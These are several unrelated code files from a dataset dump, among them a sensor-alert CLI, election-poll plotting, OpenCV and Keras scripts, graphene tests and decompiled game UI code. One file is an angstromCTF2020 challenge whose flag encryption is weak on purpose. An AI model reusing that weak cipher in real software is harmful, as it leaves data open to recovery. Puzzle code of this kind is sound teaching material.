scs_core.data.path_dict import PathDict\nfrom scs_core.data.str import Str\n\nfrom scs_core.location.timezone import Timezone\n\nfrom scs_core.sys.logging import Logging\n\nfrom scs_host.sys.host import Host\n\n\n# --------------------------------------------------------------------------------------------------------------------\n\nif __name__ == '__main__':\n\n logger = None\n credentials = None\n auth = None\n report = None\n\n try:\n # ------------------------------------------------------------------------------------------------------------\n # cmd...\n\n cmd = CmdAlert()\n\n if not cmd.is_valid():\n cmd.print_help(sys.stderr)\n exit(2)\n\n Logging.config('alert', verbose=cmd.verbose) # level=logging.DEBUG\n logger = Logging.getLogger()\n\n logger.info(cmd)\n\n\n # ------------------------------------------------------------------------------------------------------------\n # authentication...\n\n if not cmd.list:\n credentials = CognitoClientCredentials.load_for_user(Host, name=cmd.credentials_name)\n\n if not credentials:\n exit(1)\n\n gatekeeper = CognitoLoginManager()\n auth = gatekeeper.user_login(credentials)\n\n if not auth.is_ok():\n logger.error(\"login: %s.\" % auth.authentication_status.description)\n exit(1)\n\n\n # ------------------------------------------------------------------------------------------------------------\n # resources...\n\n byline_finder = BylineFinder()\n specification_manager = AlertSpecificationManager()\n\n\n # ------------------------------------------------------------------------------------------------------------\n # validation...\n\n try:\n if cmd.id is not None:\n int(cmd.id)\n except (TypeError, ValueError):\n logger.error('the ID must be an integer.')\n exit(2)\n\n if cmd.email is not None and not Datum.is_email_address(cmd.email):\n logger.error(\"the email address '%s' is not valid.\" % cmd.email)\n exit(2)\n\n if cmd.cc:\n for email in cmd.cc_list:\n if email is not None and not Datum.is_email_address(email):\n logger.error(\"the email address '%s' is not valid.\" % email)\n exit(2)\n\n if not cmd.is_valid_start_time():\n logger.error(\"the start time is invalid.\")\n exit(2)\n\n if not cmd.is_valid_end_time():\n logger.error(\"the end time is invalid.\")\n exit(2)\n\n if not cmd.is_valid_timezone():\n logger.error(\"the timezone is invalid.\")\n exit(2)\n\n\n # ------------------------------------------------------------------------------------------------------------\n # run...\n\n if cmd.list:\n for zone in Timezone.zones():\n print(zone, file=sys.stderr)\n exit(0)\n\n if cmd.find:\n response = specification_manager.find(auth.id_token, cmd.description, cmd.topic, cmd.field, None)\n filtered = [alert for alert in response.alerts if cmd.email in alert] if cmd.email else response.alerts\n\n report = sorted(filtered)\n\n if cmd.retrieve:\n report = specification_manager.retrieve(auth.id_token, cmd.id)\n\n if cmd.create:\n # validate...\n if not cmd.is_complete():\n logger.error(\"minimum parameters are topic, path, a threshold, and an aggregation period.\")\n exit(2)\n\n byline = byline_finder.find_latest_byline_for_topic(auth.id_token, cmd.topic)\n\n if byline is None or cmd.topic != byline.topic:\n logger.error(\"the topic '%s' is not available.\" % cmd.topic)\n exit(2)\n\n message = PathDict(json.loads(byline.message))\n\n if not message.has_path(cmd.field):\n paths = Str.collection(message.paths())\n logger.error(\"the field '%s' is not available. Available fields are: %s\" % (cmd.field, paths))\n exit(2)\n\n # create...\n contiguous_alerts = True if cmd.contiguous_alerts is None else bool(cmd.contiguous_alerts)\n json_message = False if cmd.json_message is None else bool(cmd.json_message)\n to = credentials.email if cmd.email is None else cmd.email\n cc = cmd.cc_list if cmd.cc else {}\n\n alert = AlertSpecification(None, cmd.description, cmd.topic, cmd.field, cmd.lower_threshold,\n cmd.upper_threshold, cmd.alert_on_none, cmd.aggregation_period,\n None, contiguous_alerts, json_message,\n None, to, cc, bool(cmd.suspended))\n\n if not alert.has_valid_thresholds():\n logger.error(\"threshold values are invalid.\")\n exit(2)\n\n if not alert.has_valid_aggregation_period():\n logger.error(\"the aggregation period is invalid.\")\n exit(2)\n\n report = specification_manager.create(auth.id_token, alert)\n\n if cmd.update:\n # validate...\n if cmd.topic is not None or cmd.field is not None:\n logger.error(\"topic and field may not be changed.\")\n exit(2)\n\n alert = specification_manager.retrieve(auth.id_token, cmd.id)\n\n if alert is None:\n logger.error(\"no alert found with ID %s.\" % cmd.id)\n exit(2)\n\n # update...\n description = alert.description if not cmd.description else cmd.description\n lower_threshold = alert.lower_threshold if cmd.lower_threshold is None else cmd.lower_threshold\n upper_threshold = alert.upper_threshold if cmd.upper_threshold is None else cmd.upper_threshold\n alert_on_none = alert.alert_on_none if cmd.alert_on_none is None else bool(cmd.alert_on_none)\n aggregation_period = alert.aggregation_period if cmd.aggregation_period is None else cmd.aggregation_period\n contiguous_alerts = alert.contiguous_alerts if cmd.contiguous_alerts is None else cmd.contiguous_alerts\n json_message = alert.json_message if cmd.json_message is None else bool(cmd.json_message)\n suspended = alert.suspended if cmd.suspended is None else bool(cmd.suspended)\n to = alert.to if cmd.email is None else cmd.email\n cc = cmd.cc_list if cmd.cc else alert.cc_list\n\n updated = AlertSpecification(alert.id, description, alert.topic, alert.field, lower_threshold,\n upper_threshold, alert_on_none, aggregation_period, None, contiguous_alerts,\n json_message, alert.creator_email_address, to, cc, suspended)\n\n if not updated.has_valid_thresholds():\n logger.error(\"threshold values are invalid.\")\n exit(2)\n\n if not updated.has_valid_aggregation_period():\n logger.error(\"the aggregation period is invalid.\")\n exit(2)\n\n report = specification_manager.update(auth.id_token, updated)\n\n if cmd.delete:\n try:\n specification_manager.delete(auth.id_token, cmd.id)\n except HTTPNotFoundException:\n logger.error(\"no alert found with ID %s.\" % cmd.id)\n\n\n # ------------------------------------------------------------------------------------------------------------\n # end...\n\n # report...\n if report is not None:\n print(JSONify.dumps(report, indent=cmd.indent))\n\n if cmd.find:\n logger.info('retrieved: %s' % len(report))\n\n except KeyboardInterrupt:\n print(file=sys.stderr)\n\n except HTTPException as ex:\n logger.error(ex.error_report)\n exit(1)\n","sub_path":"src/scs_analysis/alert.py","file_name":"alert.py","file_ext":"py","file_size_in_byte":11286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"606842699","text":"from __future__ import print_function\r\nimport random, os, sys, binascii\r\nfrom Crypto.Util.number import isPrime\r\nfrom decimal import *\r\n\r\ntry:\r\n input = raw_input\r\nexcept:\r\n pass\r\ngetcontext().prec = 2000\r\n\r\n\r\ndef keystream(key):\r\n random.seed(int(os.environ[\"seed\"]))\r\n p = random.randint(3, 50)\r\n while not isPrime(p):\r\n p = random.randint(3, 50)\r\n e = random.randint(50, 700)\r\n while 1:\r\n d = random.randint(10, 100)\r\n ret = Decimal('0.' + str(key ** e).split('.')[-1])\r\n for i in range(d):\r\n ret *= 2\r\n yield int((ret // 1) % 2)\r\n e += p\r\n\r\n\r\ndef main(a, b, c):\r\n try:\r\n # added some more weak key protections\r\n if b * b < 4 * a * c or [a, b, c].count(0) or Decimal(\r\n b * b - 4 * a * c).sqrt().to_integral_value() ** 2 == b * b - 4 * a * c or abs(a) > 400 or abs(\r\n b) > 500 or abs(c) > 500:\r\n print(\"Failed check 1\")\r\n raise Exception()\r\n key = (Decimal(b * b - 4 * a * c).sqrt() - Decimal(b)) / Decimal(a * 2)\r\n print(key)\r\n print(4 * key * key)\r\n print(abs(key - key.to_integral_value()))\r\n if 4 * key * key < 5 or abs(key - key.to_integral_value()) < 0.05:\r\n print(\"Failed check 2\")\r\n raise Exception()\r\n except:\r\n # print(\"bad key\")\r\n return False\r\n else:\r\n flag = binascii.hexlify(os.environ[\"flag\"].encode())\r\n flag = bin(int(flag, 16))[2:].zfill(len(flag) * 4)\r\n ret = \"\"\r\n k = keystream(key)\r\n for i in flag:\r\n ret += str(next(k) ^ int(i))\r\n print(ret)\r\n\r\n return True\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # a = 1\r\n # for b in range(20):\r\n # for c in range(20):\r\n # if main(a, b, c):\r\n # print(a,b,c)\r\n main(1,5,5)","sub_path":"angstromCTF2020/dream.py","file_name":"dream.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"177489304","text":"import pygame\nfrom pygame import *\nimport block_class\nfrom block_class import Block\nfrom GraphicsUtil import toplength, topwidth\n\nblockWidth = 25\nsquareXpos = 0\nsquareYpos = 0\n\n\nsquareSurface = pygame.Surface((50,50))\n\nsquareSurface.set_colorkey((0,0,0))\n\nB1 = Block(blockWidth,blockWidth, (255,0,0), squareXpos, squareYpos)\n\nB1.groupDrawSquareBlock(squareSurface)\n\n\nclass squareBlock:\n def __init__(self):\n self.color = 1\n self.surface = squareSurface\n self.rotate = 0\n\n def points(self): \n return [(0,0), (1,1), (1,0), (0,1)] \n\n # def groundDraw: \n\n\n# if __name__ == \"__main__\":\n# pygame.init()\n# screen = pygame.display.set_mode((500, 500))\n# b = squareBlock(200,200)\n# screen.fill((255, 255,255))\n# b.draw(screen)\n\n# # screen.blit(b, (200, 200))\n\n# pygame.display.flip()\n# pygame.time.wait(4000)\n\n","sub_path":"Tetris/squareBlock.py","file_name":"squareBlock.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"291259660","text":"import pytest\nfrom graphql.core.type import GraphQLID, GraphQLNonNull\n\nimport graphene\nfrom graphene import relay\n\nschema = graphene.Schema()\n\n\nclass MyConnection(relay.Connection):\n my_custom_field = graphene.String(\n resolver=lambda instance, *_: 'Custom')\n\n\nclass MyNode(relay.Node):\n name = graphene.String()\n\n @classmethod\n def get_node(cls, id, info):\n return MyNode(id=id, name='mo')\n\n\nclass SpecialNode(relay.Node):\n value = graphene.String()\n\n @classmethod\n def get_node(cls, id, info):\n value = \"!!!\" if info.request_context.get('is_special') else \"???\"\n return SpecialNode(id=id, value=value)\n\n\nclass Query(graphene.ObjectType):\n my_node = relay.NodeField(MyNode)\n special_node = relay.NodeField(SpecialNode)\n all_my_nodes = relay.ConnectionField(\n MyNode, connection_type=MyConnection, customArg=graphene.String())\n\n def resolve_all_my_nodes(self, args, info):\n custom_arg = args.get('customArg')\n assert custom_arg == \"1\"\n return [MyNode(name='my')]\n\nschema.query = Query\n\n\ndef test_nodefield_query():\n query = '''\n query RebelsShipsQuery {\n myNode(id:\"TXlOb2RlOjE=\") {\n id\n name\n },\n false: myNode(id:\"WrongNodeId\") {\n id\n name\n },\n allMyNodes (customArg:\"1\") {\n edges {\n node {\n name\n }\n },\n myCustomField\n pageInfo {\n hasNextPage\n }\n }\n }\n '''\n expected = {\n 'myNode': {\n 'id': 'TXlOb2RlOjE=',\n 'name': 'mo'\n },\n 'false': None,\n 'allMyNodes': {\n 'edges': [{\n 'node': {\n 'name': 'my'\n }\n }],\n 'myCustomField': 'Custom',\n 'pageInfo': {\n 'hasNextPage': False,\n }\n }\n }\n result = schema.execute(query)\n assert not result.errors\n assert result.data == expected\n\n\n@pytest.mark.parametrize('specialness,value', [(True, '!!!'), (False, '???')])\ndef test_get_node_info(specialness, value):\n query = '''\n query ValueQuery {\n specialNode(id:\"U3BlY2lhbE5vZGU6Mg==\") {\n id\n value\n }\n }\n '''\n\n expected = {\n 'specialNode': {\n 'id': 'U3BlY2lhbE5vZGU6Mg==',\n 'value': value,\n },\n }\n result = schema.execute(query, request_context={'is_special': specialness})\n assert not result.errors\n assert result.data == expected\n\n\ndef test_nodeidfield():\n id_field = MyNode._meta.fields_map['id']\n id_field_type = schema.T(id_field)\n assert isinstance(id_field_type.type, GraphQLNonNull)\n assert id_field_type.type.of_type == GraphQLID\n","sub_path":"graphene/relay/tests/test_query.py","file_name":"test_query.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"319601379","text":"#==================================================\r\n# Comparação cotação dólar e resultado das eleições\r\n#==================================================\r\nimport pandas as pd\r\nfrom matplotlib import dates, pyplot as plt\r\nimport numpy as np\r\nfrom datetime import datetime as dt\r\n\r\nauthor = \"Farias, M. G. Luís\"\r\n\r\n#ler .csv dos dados das pesquisas e cotação do dolar no ultimo mês\r\ncotacao = pd.read_csv('USD_BRL.csv')\r\ndatafolha = pd.read_csv('datafolha.csv')\r\nibope = pd.read_csv('ibope.csv')\r\n\r\n#Adcionando os dados do Dataframe às arrays\r\nbolsonaro_df = np.array([x for x in datafolha[datafolha['candidato'] == 'Bolsonaro']['intencao']])\r\nbolsonaro_ib = np.array([x for x in ibope[ibope['candidato'] == 'Bolsonaro']['intencao']])\r\nhaddad_df = np.array([x for x in datafolha[datafolha['candidato'] == 'Haddad']['intencao']])\r\nhaddad_ib = np.array([x for x in ibope[ibope['candidato'] == 'Haddad']['intencao']])\r\nciro_df = np.array([x for x in datafolha[datafolha['candidato'] == 'Ciro']['intencao']])\r\nciro_ib = np.array([x for x in ibope[ibope['candidato'] == 'Ciro']['intencao']])\r\ncotacao_val = np.array([float(x.replace(',','.')) for x in cotacao['Último']],dtype = 'float64')\r\n\r\n#Criando uma nova array com as datas e fazendo uma melhor formatação das mesmas\r\ndata_df = datafolha['data'].unique()\r\ndata_df = [dt.strptime(d, '%d/%m') for d in data_df]\r\ndata_df = dates.date2num(data_df)\r\ndata_ib = ibope['data'].unique()\r\ndata_ib = [dt.strptime(d, '%d/%m') for d in data_ib]\r\nxaxis = dates.date2num(data_ib) #Usado como parametro para a formatação das datas no gráfico\r\ndata_cot = np.array([x[:5] for x in cotacao['Data']][::-1])\r\ndata_cot = [dt.strptime(d, '%d.%m') for d in data_cot]\r\ndata_cot = dates.date2num(data_cot)\r\n\r\n#Definindo plotagem das pesquisas\r\nfig, ax = plt.subplots(2, sharex = True)\r\nsam1 = ax[0].plot(data_df, bolsonaro_df, '^-', color = 'green')\r\nsam4 = ax[0].plot(data_ib, bolsonaro_ib, 'o-', color = 'green')\r\nsam2 = ax[0].plot(data_df, haddad_df, '^-', color = 'red')\r\nax[0].plot(data_ib, haddad_ib, 'o-', color = 'red')\r\nsam3 = ax[0].plot(data_df, ciro_df, '^-', color = 'yellow')\r\nax[0].plot(data_ib, ciro_ib, 'o-', color = 'yellow')\r\n\r\n#Plotagem da cotação\r\nax[1].plot(data_cot, cotacao_val, '->', color = 'grey')\r\n\r\n## Adicionando anotações na cotação\r\ndif = 0 #auxiliar para ajudar na troca de cores nas anotações\r\nfor i,j in zip(data_cot, cotacao_val):\r\n if j > dif:\r\n dif = j\r\n ax[1].annotate(str(j)[:4],xy = (i,j), color = 'green')\r\n elif j <= dif:\r\n dif = j\r\n ax[1].annotate(str(j)[:4],xy = (i,j), color = 'red')\r\n\r\n#Definindo as legendas legenda\r\nleg2 = ax[0].legend((sam1[0],sam4[0]),('Datafolha', 'Ibope'), loc = 1)\r\nax[0].legend((sam1[0],sam2[0],sam3[0]),('Bolsonaro', 'Haddad', 'Ciro'), loc = 2)\r\n\r\n#Aqui é ajustado o formato da data na plotagem\r\ndateForm = dates.DateFormatter('%d\\n%m')\r\nax[1].xaxis.set_major_formatter(dateForm)\r\nplt.xticks(np.unique(np.append(data_df, xaxis)))\r\n\r\nax[0].add_artist(leg2)\r\n\r\nplt.show()\r\n","sub_path":"eleicoes_teste.py","file_name":"eleicoes_teste.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"440378081","text":"import numpy as np\r\nimport cv2\r\n# circle\r\nimg_3 = cv2.imread(\"./images/floor.jpg\") # 3 channels\r\nimg = cv2.imread(\"./images/floor.jpg\", 0)\r\nheight = img.shape[0]\r\nwidth = img.shape[1]\r\n\r\nimg_blurred = cv2.GaussianBlur(img_3, (99, 99), 5)\r\nret, img = cv2.threshold(img, 100, 255, cv2.THRESH_BINARY)\r\nimg = cv2.GaussianBlur(img, (99, 99), 5)\r\nret, img = cv2.threshold(img, 200, 255, cv2.THRESH_BINARY)\r\n# img = cv2.dilate(img, np.ones((3, 3)), iterations=1)\r\n# img = cv2.erode(img, np.ones((3, 3)), iterations=1)\r\n\r\n# img = cv2.Canny(img, 50, 200, None, 3)\r\n\r\n\r\nimg = 255 - img\r\n# cv2.imwrite(\"./floor_out.jpg\", img)\r\n\r\n# lines = cv2.HoughLinesP(img, 1, np.pi/180, 200, 100, 30)\r\nlines = cv2.HoughLinesP(img, 1, np.pi/180, 800, 50, 100)\r\n\r\n# print(lines.shape)\r\n\r\nfor i in lines [:, 0, :]:\r\n img_3 = cv2.line(img_blurred, (i[0], i[1]), (i[2], i[3]), (0, 0, 255), 3)\r\n\r\nimg_3 = cv2.resize(img_3, (int(width*0.25), int(height*0.25)),interpolation=cv2.INTER_CUBIC)\r\n\r\ncv2.imwrite(\"./outcome/floor_out.jpg\", img_3)\r\n","sub_path":"Project3_第三組_小組報告_comments/floor.py","file_name":"floor.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"366222302","text":"from observal import *\nfrom clientcomm_v1 import *\nfrom readgeneral_v2 import *\n\n\nlogger = logging.getLogger(\"main.log\")\n\n\n\nclass AreaObserver:\n def __init__(self, observable):\n observable.register_observer(self)\n\n\n def notify(self, *args, **kwargs):\n for item in args[0]:\n item.FwdOnlimit = args[1].readsymbolvalue(item.fwdlimitswttag,'S7WLBit','PE')\n item.RevOnlimit = args[1].readsymbolvalue(item.revlimitswttag,'S7WLBit','PE')\n\nclass railswitchprocess:\n def __init__(self,alldevices,filename):\n self.subject = Observable()\n self.alldevices = alldevices\n self.client = Communication()\n self.sta_con_plc = self.client.opc_client_connect(filename)\n self.observer = AreaObserver(self.subject)\n self.readgeneral = ReadGeneral(self.sta_con_plc)\n\n def process(self):\n\n for area, devices in readkeyandvalues(self.alldevices):\n\n areavalue = self.readgeneral.readsymbolvalue(area, 'S7WLBit', 'PA')\n if areavalue == 1:\n self.observer.notify(devices, self.readgeneral)\n\ndef readkeyandvalues(alldevice):\n railswitchdictionary = alldevice.allrailswitch.dictionary\n areas = list(railswitchdictionary.keys())\n n = 0\n while n < len(areas):\n area = areas[n]\n devices = railswitchdictionary[area]\n yield area,devices\n n = n + 1\n","sub_path":"CASTERSIMULATION/Instrumentplc/latestfiles/allrailswitchprocessing.py","file_name":"allrailswitchprocessing.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"128858525","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n__author__ = 'MFC'\n__time__ = '2019-07-30 13:17'\n\n# 3-6\ndef coro():\n hello = yield 'hello' # yield关键字在=右边作为表达式,可以被send值\n yield hello\n\nc = coro()\n\n# 输出'hello', 这里调用next产出第一个值'hello',之后函数暂停\nprint(next(c))\n\n# 再次调用 send 发送值,此时hello变量赋值为'world',然后yield产出hello变量的值 'world'\nprint(c.send('world'))\n\n# 之后协程结束,后续再send值会抛异常StopIteration\n# print(c.send('test'))","sub_path":"pw_python/imooc/generator_based_coroutine.py","file_name":"generator_based_coroutine.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"631160194","text":"\n#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport dill\nimport keras.backend as K\nimport multiprocessing\nimport tensorflow as tf\nimport numpy as np\nfrom gensim.models.word2vec import Word2Vec\nimport re\nimport time\nimport matplotlib.pyplot as plt\nfrom keras.callbacks import EarlyStopping\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Flatten\nfrom keras.layers.convolutional import Conv1D\nfrom keras.optimizers import Adam\nimport time\nimport multiprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom tqdm import tqdm\ntqdm.pandas(desc=\"progress-bar\")\n\n\ndef buildWordVector(tokens, size, X_vecs, tfidf):\n vec = np.zeros(size * 3).reshape((1,3, size))\n count = 0.\n mi = np.inf\n ma = 0\n mav = None\n miv= None\n for token in tokens:\n try:\n v = X_vecs[token]\n norm = np.linalg.norm(v)\n if norm > ma:\n ma = norm\n mav = v\n if norm < mi and norm !=0:\n m = norm\n miv = v\n vec[:,0,:] += v.reshape((1, size)) * tfidf[token]\n count += 1.\n # Token is not in corpus \n except KeyError: \n continue\n vec[0,1,:] = miv\n vec[0,2,:] = mav\n vec = vec.reshape( (1, 3* size))\n #if count != 0:\n # will delete nans later \n vec /= count\n #else:\n #return []\n # pass\n #print(\"Null vector, should trim \")\n return vec\n\ndef build_model(vector_size):\n \n batch_size = 512\n nb_epochs = 5\n model = Sequential()\n# This fucking block will eat all of your goddamn memory \n# Sacrifice 3 chickens to improve accuracy \n\n model.add(Conv1D(32, kernel_size=3, activation='relu', padding='same', input_shape=(vector_size*3,1)))\n model.add(Conv1D(32, kernel_size=3, activation='relu', padding='same'))\n model.add(Conv1D(32, kernel_size=3, activation='relu', padding='same'))\n model.add(Conv1D(32, kernel_size=3, activation='relu', padding='same'))\n model.add(Dropout(0.25))\n model.add(Conv1D(32, kernel_size=2, activation='relu', padding='same'))\n model.add(Conv1D(32, kernel_size=2, activation='relu', padding='same'))\n model.add(Conv1D(32, kernel_size=2, activation='relu', padding='same'))\n model.add(Conv1D(32, kernel_size=2, activation='relu', padding='same'))\n model.add(Dropout(0.25))\n model.add(Flatten())\n model.add(Dense(64, activation='tanh'))\n model.add(Dense(64, activation='tanh'))\n model.add(Dense(1, activation='sigmoid'))\n # Compile the model\n model.compile(loss='binary_crossentropy',\n optimizer=Adam(lr=0.001, decay=1e-6),\n metrics=['accuracy'])\n return model\n\ndef main():\n \n max_tweet_length = 30\n vector_size = 512\n # generate model \n\n\n use_gpu = True\n config = tf.ConfigProto(intra_op_parallelism_threads=multiprocessing.cpu_count(), \n inter_op_parallelism_threads=multiprocessing.cpu_count(), \n allow_soft_placement=True, \n device_count = {'CPU' : multiprocessing.cpu_count(), \n 'GPU' : 1 if use_gpu else 0})\n\n session = tf.Session(config=config)\n K.set_session(session)\n model = build_model(vector_size)\n # continue building\n keras_model = \"deep_nn_weights.h5\"\n model_name = 'tweet_word2vec.model'\n # static names \n dataset_location = './Sentiment Analysis Dataset.csv'\n model_location = './model/'\n tokenized_corpus_name = \"tokenized_tweet_corpus.dill\"\n groun_truth_name = 'ground_truth_tokenized_tweet_corpus.dill'\n model_name = 'tweet_word2vec.model'\n\n # Load all data\n with open(model_location + tokenized_corpus_name, 'rb') as f:\n tokenized_corpus = dill.load(f)\n\n with open(model_location + groun_truth_name, 'rb') as f:\n ground_truth = dill.load(f)\n\n # Load model and retrieve word vectors \n word2vec = Word2Vec.load(model_location + model_name)\n X_vecs = word2vec.wv\n batch_size = 64\n nb_epochs = 5\n test_size = 100000\n validation_size = 100000\n train_size = len(tokenized_corpus) - test_size - validation_size\n print(\"Train Size:{}, Validation Size:{}, Test Size:{}\".format(train_size, validation_size, test_size))\n X_corp_train, X_corp_valid, Y_train, Y_valid = train_test_split( tokenized_corpus, ground_truth, test_size=0.10, random_state=69)\n vectorizer = TfidfVectorizer(analyzer=lambda x: x, min_df=10)\n matrix = vectorizer.fit_transform([x for x in X_corp_train])\n tfidf = dict(zip(vectorizer.get_feature_names(), vectorizer.idf_))\n print( 'vocab size :', len(tfidf))\n train_vecs_w2v = np.concatenate([buildWordVector(z, 512, X_vecs, tfidf) for z in tqdm(X_corp_train)])\n valid_vecs_w2v = np.concatenate([buildWordVector(z, 512, X_vecs, tfidf) for z in tqdm(X_corp_valid)])\n dummy_valid = [~np.isnan(train_vecs_w2v).any(axis=1)]\n train_vecs_w2v = train_vecs_w2v[dummy_valid]\n # convert back to tensor \n train_vecs_w2v = train_vecs_w2v.reshape( (train_vecs_w2v.shape[0], train_vecs_w2v.shape[1], 1) )\n Y_train = np.array(Y_train)\n Y_train = Y_train.reshape((len(Y_train),1))\n Y_train = Y_train[dummy_valid]\n\n dummy_valid = [~np.isnan(valid_vecs_w2v).any(axis=1)]\n valid_vecs_w2v = valid_vecs_w2v[dummy_valid]\n # convert to tensor \n valid_vecs_w2v = valid_vecs_w2v.reshape((valid_vecs_w2v.shape[0], valid_vecs_w2v.shape[1], 1))\n Y_valid = np.array(Y_valid)\n Y_valid = Y_valid.reshape((len(Y_valid),1))\n Y_valid = Y_valid[dummy_valid]\n\n del dummy_valid\n #dump_files = [X_train, Y_train, X_valid, Y_valid, X_test, Y_test ]\n # Super fucing memoery intensive \n print(\"Dataset has been created \")\n print(\"DATA SHAPE: {}\".format(train_vecs_w2v.shape))\n model.fit(train_vecs_w2v, Y_train,\n batch_size=batch_size,\n shuffle=True,\n epochs=nb_epochs,\n validation_data=(valid_vecs_w2v, Y_valid),\n callbacks=[EarlyStopping(min_delta=0.00025, patience=2)])\n print(\"Model complete, saving\")\n #model.save_weights('contin_deep_nn_2_weights.h5')\n model.save(\"mean_tfidf_max_min_dnn.h5\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"kaidb_vilin/Twitter_to_vec/tfidf_build_clf.py","file_name":"tfidf_build_clf.py","file_ext":"py","file_size_in_byte":6296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"323994334","text":"# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: scripts/client/gui/impl/lobby/wt_event/wt_event_progression_view.py\nimport logging\nimport typing\nfrom account_helpers.AccountSettings import AccountSettings, EVENT_LAST_STAMPS_SEEN, EVENT_LAST_LEVEL_SEEN\nfrom frameworks.wulf import ViewFlags, ViewSettings, ViewEvent\nfrom gui.Scaleform.daapi.settings.views import VIEW_ALIAS\nfrom gui.Scaleform.daapi.view.lobby.header.LobbyHeader import HeaderMenuVisibilityState\nfrom gui.Scaleform.Waiting import Waiting\nfrom gui.battle_pass.battle_pass_bonuses_packers import packBonusModelAndTooltipData\nfrom gui.impl.gen import R\nfrom gui.impl.gen.view_models.views.lobby.wt_event.wt_progression_level_model import WtProgressionLevelModel\nfrom gui.impl.gen.view_models.views.lobby.wt_event.wt_progression_view_model import WtProgressionViewModel\nfrom gui.impl.lobby.wt_event import wt_event_sound\nfrom gui.impl.lobby.wt_event.tooltips.wt_event_stamp_tooltip_view import WtEventStampTooltipView\nfrom gui.impl.lobby.wt_event.tooltips.wt_event_ticket_tooltip_view import WtEventTicketTooltipView\nfrom gui.impl.pub import ViewImpl\nfrom gui.shared import g_eventBus, events, EVENT_BUS_SCOPE\nfrom gui.shared.event_dispatcher import showBrowserOverlayView\nfrom gui.wt_event.wt_event_bonuses_packers import getWtEventBonusPacker\nfrom gui.wt_event.wt_event_helpers import backportTooltipDecorator, getInfoPageURL\nfrom helpers import dependency\nfrom skeletons.gui.game_control import IEventBattlesController\nfrom skeletons.gui.app_loader import IAppLoader\nfrom gui.Scaleform.framework.entities.View import ViewKey\n_logger = logging.getLogger(__name__)\n\nclass WTEventProgressionView(ViewImpl):\n __slots__ = ('_tooltipItems', '__isGrowingAnimation', '__fromWelcome')\n __gameEventController = dependency.descriptor(IEventBattlesController)\n __appLoader = dependency.descriptor(IAppLoader)\n\n def __init__(self, *args, **kwargs):\n settings = ViewSettings(layoutID=R.views.lobby.wt_event.WTEventProgression(), flags=ViewFlags.LOBBY_TOP_SUB_VIEW, model=WtProgressionViewModel())\n settings.args = args\n settings.kwargs = kwargs\n super(WTEventProgressionView, self).__init__(settings)\n self._tooltipItems = None\n self.__isGrowingAnimation = False\n self.__fromWelcome = kwargs.get('fromWelcome', False)\n return\n\n @property\n def viewModel(self):\n return super(WTEventProgressionView, self).getViewModel()\n\n @backportTooltipDecorator()\n def createToolTip(self, event):\n return super(WTEventProgressionView, self).createToolTip(event)\n\n def createToolTipContent(self, event, contentID):\n if contentID == R.views.lobby.wt_event.tooltips.WtEventTicketTooltipView():\n return WtEventTicketTooltipView()\n return WtEventStampTooltipView() if contentID == R.views.lobby.wt_event.tooltips.WtEventStampTooltipView() else super(WTEventProgressionView, self).createToolTipContent(event, contentID)\n\n def _onLoading(self, *args, **kwargs):\n if self.__fromWelcome:\n Waiting.show('loadContent')\n super(WTEventProgressionView, self)._onLoading()\n self.__updateViewModel()\n self.__addListeners()\n\n def _onLoaded(self, *args, **kwargs):\n super(WTEventProgressionView, self)._onLoaded(*args, **kwargs)\n if self.__fromWelcome:\n Waiting.hide('loadContent')\n wt_event_sound.playProgressionViewEnter()\n g_eventBus.handleEvent(events.LobbyHeaderMenuEvent(events.LobbyHeaderMenuEvent.TOGGLE_VISIBILITY, ctx={'state': HeaderMenuVisibilityState.NOTHING}), EVENT_BUS_SCOPE.LOBBY)\n\n def _finalize(self):\n self.__removeListeners()\n self._tooltipItems = None\n wt_event_sound.playProgressionViewExit()\n if self.__isGrowingAnimation:\n wt_event_sound.playProgressBarGrowing(False)\n g_eventBus.handleEvent(events.LobbyHeaderMenuEvent(events.LobbyHeaderMenuEvent.TOGGLE_VISIBILITY, ctx={'state': HeaderMenuVisibilityState.ALL}), EVENT_BUS_SCOPE.LOBBY)\n super(WTEventProgressionView, self)._finalize()\n return\n\n def __updateViewModel(self):\n self._tooltipItems = {}\n with self.viewModel.transaction() as model:\n self.__fillProgression(model)\n\n def __fillProgression(self, model):\n model.progression.clearItems()\n previousLevel = AccountSettings.getSettings(EVENT_LAST_LEVEL_SEEN)\n previousStamps = AccountSettings.getSettings(EVENT_LAST_STAMPS_SEEN)\n currentStamps = self.__gameEventController.getCurrentStampsCount()\n stampsPerLevel = self.__gameEventController.getStampsCountPerLevel()\n totalLevels = self.__gameEventController.getTotalLevelsCount()\n currentLevel = self.__gameEventController.getCurrentLevel()\n finishedLevel = self.__gameEventController.getFinishedLevelsCount()\n isCompleted = finishedLevel == totalLevels\n hasMadeProgress = previousLevel < currentLevel\n model.setPreviousLevel(previousLevel)\n model.setCurrentLevel(currentLevel)\n model.setTotalPoints(stampsPerLevel)\n model.setTotalLevel(totalLevels)\n model.setPreviousAllPoints(previousStamps)\n 